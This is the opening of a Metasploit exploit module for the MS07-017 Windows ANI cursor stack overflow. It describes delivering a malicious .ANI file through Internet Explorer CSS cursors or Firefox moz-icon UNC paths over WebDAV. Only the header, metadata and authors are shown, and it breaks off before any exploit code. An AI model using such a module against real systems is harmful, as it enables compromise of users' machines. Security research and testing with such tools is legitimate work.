##
# $Id: ms07_017_ani_loadimage_chunksize.rb 9085 2010-04-15 16:08:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

#
# This module acts as a HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP)',
			'Description'    => %q{
				This module exploits a buffer overflow vulnerability in the
				LoadAniIcon() function in USER32.dll. The flaw can be triggered through
				Internet Explorer 6 and 7 by using the CURSOR style sheet directive
				to load a malicious .ANI file. The module can also exploit Mozilla
				Firefox by using a UNC path in a moz-icon URL and serving the .ANI file
				over WebDAV. The vulnerable code in USER32.dll will catch any
				exceptions that occur while the invalid cursor is loaded, causing the
				exploit to silently fail when the wrong target has been chosen.

				This vulnerability was discovered by Alexander Sotirov of Determina
				and was rediscovered, in the wild, by McAfee.
			},

			'Author'         =>
				[
					'hdm',   # First version
					'skape', # Vista support

					# Firefox support, OS language independence, improved reliability
					'Solar Eclipse <solareclipse@phreedom.org>'
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9085